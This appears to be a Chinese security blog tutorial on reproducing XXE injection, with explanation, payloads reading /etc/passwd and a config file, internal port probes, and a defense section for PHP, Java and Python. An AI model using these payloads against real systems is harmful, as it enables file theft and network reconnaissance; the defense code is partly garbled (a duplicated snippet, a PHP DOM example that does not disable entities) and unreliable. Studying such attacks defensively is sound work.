zoukankan      html  css  js  c++  java
  • XXE漏洞复现步骤

    XXE漏洞复现步骤

    0X00XXE注入定义

    XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    0X01漏洞原理

    既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

    那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

    0X02漏洞复现

    发送测试代码到测试服务器

    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>

    在有回显的情况下,该服务器的/etc/passwd文件就会被泄露。

    此时发现有回显,开始测试xxe漏洞,抓取数据包发现post一个xml文件

    xml代码换成测试的xml代码

    将其提交发现有回显,回显内容是xml代码里面的函数访问文件夹的内容。

    修改xml内容进行端口检测。

    <!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:801">]>
    <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

    发现801端口关闭

    <!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:80">]>
    <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

    发现80端口开启

    0X03漏洞防御

    1.使用开发语言提供的禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);


    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

    Python:

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    2.过滤用户提交的XML数据

     对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.

    例如,让我们来试着定义一个新的自定义实体“harmless”。

    <!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>

    现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:

    This result is completely harmless

    下面的这个就肯定不是无害的输入:

    <?xml version="1.0"?>
    <!DOCTYPE results [<!ENTITY harmless SYSTEM
    "file:///var/www/config.ini">]>
    <results>
        <result>&harmless;</result>
    </results>

    3.检查所使用的底层xml解析库,默认禁止外部实体的解析
    4.使用第三方应用代码及时升级补丁
    5.同时增强对系统的监控,防止此问题被人利用
    对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

    <?php
    libxml_disable_entity_loader(true);
    ?>

    以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:

    <?php
    // with the XMLReader functionality:
    $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
    // with the DOM functionality:
    $dom = new DOMDocument();
    $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
    ?>>
     
    <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  • 相关阅读:
    4.graph.h
    3.俄罗斯方块项目
    3.栈的实现
    26.多线程
    25.Detours劫持技术
    codeforces 616E Sum of Remainders (数论,找规律)
    poj2387 Til the Cows Come Home 最短路径dijkstra算法
    poj1274 The Perfect Stall (二分最大匹配)
    poj1459 Power Network (多源多汇最大流)
    Oracle RAC/Clusterware 多种心跳heartbeat机制介绍 RAC超时机制分析
  • 原文地址:https://www.cnblogs.com/L0ading/p/12312147.html
Copyright © 2011-2022 走看看